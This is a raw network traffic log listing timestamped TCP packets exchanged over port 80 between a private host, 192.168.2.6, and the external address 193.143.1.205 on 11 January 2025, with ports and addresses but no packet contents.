Jan 11, 2025 07:23:51.168431044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.186444044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.186463118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.186475039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.186515093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.186533928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.186542988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.186546087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.186599016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.186667919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.186681032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.186691999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.186724901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.200186014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.200210094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.200220108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.200248003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.200268984 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.220566034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.220602036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.220635891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.220688105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.220700026 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.220717907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.220742941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.220773935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.220824957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.220829010 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.220858097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.220891953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.220910072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.220921040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.220969915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.220973015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.221008062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.221040010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.221055031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.234653950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.234710932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.234726906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.234766006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.234800100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.234821081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.234860897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.234894991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.234910965 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.234930992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.234981060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.234983921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235014915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235049009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235066891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235101938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235151052 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235152006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235186100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235218048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235232115 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235251904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235302925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235306025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235403061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235438108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235455990 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235472918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235506058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235522032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235555887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235605001 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235606909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235641003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235675097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235688925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235709906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235738993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235759974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235790968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235826969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235841036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235858917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235893965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235909939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.235944033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235977888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.235992908 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.236027002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236061096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236073017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.236098051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236131907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236144066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.236165047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236197948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236213923 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.236233950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236268044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236279011 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.236300945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236335993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236349106 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.236371040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236421108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.236475945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236527920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236577988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236582994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.236613989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236649036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236665010 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.236745119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236778021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236788034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.236810923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236845970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236859083 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.236880064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236912966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.236927032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.239053011 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.254893064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.254924059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.254936934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.254950047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.254956961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.254973888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.254985094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.254993916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.254998922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.255033016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.255045891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.255053997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.255059004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.255069971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.255100012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.255166054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.255177975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.255188942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.255199909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.255215883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.255253077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.273220062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.273233891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.273247957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.273279905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.273320913 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.273339033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.273358107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.273370981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.273380995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.273395061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.273413897 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.273432016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.273479939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.273493052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.273504019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.273525953 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.273622990 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.286997080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.287030935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.287065029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.287096024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.307246923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.307279110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.307290077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.307301044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.307302952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.307353020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.307363987 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.307364941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.307395935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.308073997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.308124065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.308146000 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.308161020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.308197021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.308214903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.308233976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.308269024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.308284998 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.321265936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321284056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321300030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321316957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321331024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.321352005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321363926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.321399927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321403027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.321415901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321432114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321449041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321471930 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.321492910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.321507931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321527004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321556091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321572065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321582079 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.321620941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.321695089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321738005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321753979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321788073 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.321835041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321872950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321880102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.321892023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321919918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321930885 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.321934938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.321985960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.322141886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322158098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322200060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322206974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.322216034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322232962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322247982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322264910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322266102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.322310925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.322391987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322407961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322467089 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.322493076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322531939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322541952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.322549105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322606087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.322731972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322747946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322763920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322779894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322789907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.322846889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.322851896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322868109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322902918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322913885 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.322918892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322937012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.322963953 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.323126078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323153019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323168993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323177099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.323210955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.323288918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323304892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323340893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323347092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.323391914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323405981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323421955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323434114 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.323438883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323456049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323458910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.323472977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323493004 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.323668003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323683023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323700905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323715925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323726892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.323733091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323748112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.323750019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.323784113 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.331907034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.341623068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.341645956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.341662884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.341679096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.341682911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.341701031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.341717005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.341722012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.341753960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.341774940 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.341810942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.341815948 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.341828108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.341873884 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.341909885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.341926098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.341994047 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.342041969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.342056036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.342072964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.342122078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.342135906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.342154026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.342185020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.350111961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.359932899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.359967947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360013962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.360085011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360136032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.360136986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360174894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360223055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.360228062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360263109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360295057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360325098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.360328913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360363007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360379934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.360399961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360449076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360452890 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.360487938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360516071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.360538006 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.368889093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.373718977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.373773098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.373780966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.373805046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.373852015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.373857975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394130945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394154072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394175053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394215107 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.394237041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394242048 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.394256115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394273043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394304037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.394326925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394345045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394361973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394378901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.394403934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:23:51.394429922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394444942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 07:23:51.394484997 CET	49711	80	192.168.2.6	193.143.1.205
